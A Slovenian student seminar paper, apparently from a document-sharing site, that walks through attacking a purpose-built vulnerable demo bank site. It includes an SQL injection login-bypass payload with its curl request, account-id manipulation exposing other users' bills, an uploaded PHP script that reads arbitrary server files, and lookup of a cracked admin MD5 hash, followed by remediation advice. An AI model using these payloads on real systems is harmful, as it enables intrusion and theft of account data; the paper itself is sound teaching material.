iskanje ranljivke spletne strani: banka.si - primer slabe prakse

11
Iskanje ranljive spletne strani: Banka.si - Primer slabe prakse Oto Brglez, junij 2011

Upload: oto-brglez

Post on 26-Oct-2014

31 views

Category:

Documents


5 download

TRANSCRIPT

Page 1: Iskanje ranljivke spletne strani: Banka.si - primer slabe prakse

Iskanje ranljive spletne strani: Banka.si - Primer slabe prakse

Oto Brglez, junij 2011

Page 2: Iskanje ranljivke spletne strani: Banka.si - primer slabe prakse

PovzetekSeminarska naloga predstavlja najpogostejše ranljivosti pri gradnji spletnih strani in primere izkoriščanja le teh z uporabo različnih orodij in postopkov. V začetku naloga dobro opiše ciljno spletno stran - ki je bila pripravljena izključno za to nalogo - potem pa poskuša izkoristiti nekaj napak.

Kazalo vsebineAnaliza! 3

Programska oprema! 5

Delovni tok! 5

Prijava - Obrazec! 6

Izkoriščanje ranljivosti! 7

Metoda: SQL Injection! 7

Metoda: URL Parameter Manipulation! 8

Metoda: Nalaganje škodljive datoteke! 9

Opombe ! 11

Viri! 11

Banka.si - Primer slabe prakse # 2

Oto Brglez# 2

Page 3: Iskanje ranljivke spletne strani: Banka.si - primer slabe prakse

AnalizaSpletna stran Banka.si je preprosta spletna stran, ki vsebuje nekatere elemente in komponente, ki jih vsebujejo sodobne spletne aplikacije. Vsebuje preprost obrazec za prijavo, seznam računov in oddajo ter pregled le teh. Aplikacija ima tudi integriran administrativni vmesnik s pomočjo katerega lahko administratorji opravljajo z aplikacijo.

Obrazec za prijavo uporabnikov

Neuspešna prijava uporabnikov

Banka.si - Primer slabe prakse # 3

Oto Brglez# 3

Page 4: Iskanje ranljivke spletne strani: Banka.si - primer slabe prakse

Seznam uporabnikovih računov

Seznam plačil

Banka.si - Primer slabe prakse # 4

Oto Brglez# 4

Page 5: Iskanje ranljivke spletne strani: Banka.si - primer slabe prakse

Programska opremaPrva aktivnost analize, ki sem jo opravil je bila ugotovitev kakšno programsko opremo sistem uporablja. Slednje sem naredil z uporabo programa cURL in branja HTTP header-ja.

# curl -D - http://bankasi

--- izhod ---HTTP/1.1 302 FoundDate: Tue, 07 Jun 2011 19:11:04 GMTServer: Apache/2.0.63 (Unix) PHP/5.3.2 DAV/2X-Powered-By: PHP/5.3.2Set-Cookie: PHPSESSID=284addf116da4db5381a96196772b896; path=/Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0Pragma: no-cacheLocation: /loginContent-Length: 0Content-Type: text/html

--- /izhod ---

Spletni strežnik, ki poganja spletno stran je Apache HTTP strežnik, različice 2.0.63 na operacijskem sistemu Unix / BSD. Programski jezik, ki poganja spletno aplikacijo je PHP različice 5.3.2.

Delovni tokZa vzpostavitev osnovnega delovnega tokova spletne aplikacije in analizo osnovnega prometa sem uporabil programski paket Wireshark. Program deluje tako, da prisluškuje omrežnim virom in s pomočjo pametnih filtrov išče/izloča ustrezen promet.

# Filter: http.response == 200 && http.content_type matches "html"

Analiza prometa z uporabo Wireshark 1.6.x

Banka.si - Primer slabe prakse # 5

Oto Brglez# 5

Page 6: Iskanje ranljivke spletne strani: Banka.si - primer slabe prakse

Prijava - ObrazecOsnovna točka za vstop v aplikacijo je prijavna stran oziroma prijavni obrazec, zato sem le to podrobneje preučil z spletnim brskalnikom Google Chrome. Prijavni obrazec deluje tako, da ima textovno vnosno polje “username” in vnosno polje za geslo z imenom “password” ter skrito polje “isLogin”, ki je nastavljeno na vrednost 1. Obrazec se pošlje/posreduje na naslov http://bankasi/login? . V primeru, da je uporabniško ime in geslo pravilno se vzpostavi PHP seja v katero se verjetno zapiše uporabnikov primarni ključ. V primeru, da parameter “isLogin” ni nastavljen na 1, se primerjava gesla in uporabniškega imena ne zgodi. Omeniti je potrebno tudi, da se obrazec pošlje po metodi GET.

Analiza prijavnega obrazca z uporabo Google Chrome

Banka.si - Primer slabe prakse # 6

Oto Brglez# 6

Page 7: Iskanje ranljivke spletne strani: Banka.si - primer slabe prakse

Izkoriščanje ranljivostiMetoda: SQL InjectionMetoda SQL injection je metoda, pri kateri s pomočjo GET ali POST HTTP metode vrinemo v aplikacijo našo “zlonamerno” SQL kodo. Večina spletnih strani deluje tako, da uporablja GET in/ali POST parametre, da lahko zgradi SQL stavke s katerimi izvaja poizvedbe po podatkovni bazi. Z uporabo SQL Injection metode te stavke “poškodujemo”, tako, da lahko na strežniku izvedemo svojo programsko kodo.

Predpostavljamo, da se na spletni strani ob prijavi izvede slednja SQL poizvedba:

SELECT * FROM users WHERE username ='otob' and password='geslo123' LIMIT 1;

V primeru, da namesto uporabniškega imena in gesla vpišemo xʼ or ʻxʼ = ʻx se stavek spremeni v:

SELECT * FROM users WHERE username = 'x' OR 'x'='x' AND password= 'x' OR 'x'='x' LIMIT 1

Posledica česar bo uspešna prijava prvega uporabnika sistema.

Preizkus prijave v spletno stran z xʼ or ʻxʼ = ʻxcurl -D - http://bankasi/login?username=x%27+OR+%27x%27%3D%27x&password=x%27+OR+%27x%27%3D%27x&isLogin=1

Uspešna prijava v spletno stran kot prvi uporabnik

Banka.si - Primer slabe prakse # 7

Oto Brglez# 7

Page 8: Iskanje ranljivke spletne strani: Banka.si - primer slabe prakse

Metoda: URL Parameter ManipulationPo uspešni prijavi kot drug uporabnik lahko vidim svoje račune. Med katerimi lahko z klikom na povezave tudi brskam. Vsaka povezava sestoji iz različnih parametrov. Slednje parametre lahko spreminjamo. Ob napačni/nepravilni implementaciji sistema lahko uporabnik pride do računov, ki niso njegovi s spreminjanjem parametrov URL-ja.

Ob kliku na moj račun obiščem povezavohttp://bankasi/accounts?a=view_bills&id=1

Potem ročno v brskalniku povezavo spremenim, tako da id povečujem za 1. Ker poizvedba na strežniku ni dovolj natančna dobivam podatke drugih uporabnikov.http://bankasi/accounts?a=view_bills&id=2http://bankasi/accounts?a=view_bills&id=3http://bankasi/accounts?a=view_bills&id=4...

Primer, prikaza računov, ki ne pripadajo uporabniku

Banka.si - Primer slabe prakse # 8

Oto Brglez# 8

Page 9: Iskanje ranljivke spletne strani: Banka.si - primer slabe prakse

Metoda: Nalaganje škodljive datotekeSpletna stran omogoča svojim uporabnikom da nanjo naložijo svoje prejemke oziroma plačila v obliki različnih - poljubnih datotek. Ker stran ne preverja MIME type datotek je mogoče nanjo prenesti katerokoli datoteko. Zato na spletno stran z uporabo obrazca za oddajo plačil prenesem preprosto PHP skripto, ki razkrije izvorno kodo poljubne datoteke.

Skripta se naloži na strežnik in jo pokličemo preko spletnega brskalnika. Kot izhod dobimo izvorno kodo poljubne datotekehttp://bankasi/evilme.pdf.php?file=accounts.php

Predled izvorne kode skripte - prikaz skripte lib/bl.php

Tako lahko enostavno preberemo izvorno kodo spletne strani in zelo natančno ugotovimo kako deluje in kako in kje se hranijo podatki.

Na strežnik sem prenesel slednjo PHP skripto. Ki preveri če datoteka obstaja in jo ustrezno izpiše:

<?= file_exists($_GET["file"])?(nl2br(htmlspecialchars(file_get_contents($_GET["file"])))) : "No file!";

Banka.si - Primer slabe prakse # 9

Oto Brglez# 9

Page 10: Iskanje ranljivke spletne strani: Banka.si - primer slabe prakse

Z uporabo omenjene metode sem se prebil do podatka, da se uporabniško ime za administrativni dostop nahaja v tabeli admins v polju “username” in da se geslo nahaja v stolpcu “passsword”. Obstaja težava. Gesla administratorjev so v bazi shranjena kot enosmerni MD5 hash. Iz tabele sem uspel razbrati podatka

Administratorsko uporabniško ime: “admin”MD5 Hash administratorskega gesla : a4757d7419ff3b48e92e90596f0e7548

Ker je geslo zakodirano enosmerno je izjemno težko, če ne nemogoče dobiti originalno geslo, ki se uporablja za vstop. Zato na internetu poiščem eno izmed baz MD5 gesel v kateri potem poiščem izvor za omenjeni hash. Kmalu najdem...

Iskanje niza iz Md5 hash-a na spletni strani http://md5.my-addr.com

Tako se lahko na stran prijavim z administrativnim uporabniškim računom in geslom.

Administratorski pogled v sistem z vsemi pravicami.

Banka.si - Primer slabe prakse # 10

Oto Brglez# 10

Page 11: Iskanje ranljivke spletne strani: Banka.si - primer slabe prakse

OpombeSpletna stran uporabljena v primeru je bila zgrajena z namenom demostracije varnostnih pomankljivosti. Stran je bila oblikovana in izvedena tako, da je bilo mogoče demonstrirati varnostne pomankljivosti. Bralca pozivam, da vedno upošteva varnostna navodila ogrodij in programskih jezikov, da se izogne zgoraj omenjenim težavam.

Omeniti velja tudi, da je bil uporabljen programski jezik PHP različice 5.3.x, ki ima vgrajene mehanizme, ki prepričujejo SQL injection. Tako je recimo bilo potrebno za delovanje SQL injecton-a izklučiti magic qutes, ki so privzetno vključene in vgrajene v PHP 5.3 in uporabiti funkcijo stripslashes, da je injection bilo mogoče izvesti. Bralca pozivam da vedno uporablja API oziroma parametrični SQL - mogoče celo query by example..

Viri• Hekerski vdori in zaščita - Ivan Verdonik, Tomaž Bratuša - Založba Pasadena• SQL Injection Attack – Examples and Preventions in PHP• PHP and Mysql SQL Injection Example• PHP: mysql_real_escape_string• PHP: Magic Quotes

Banka.si - Primer slabe prakse # 11

Oto Brglez# 11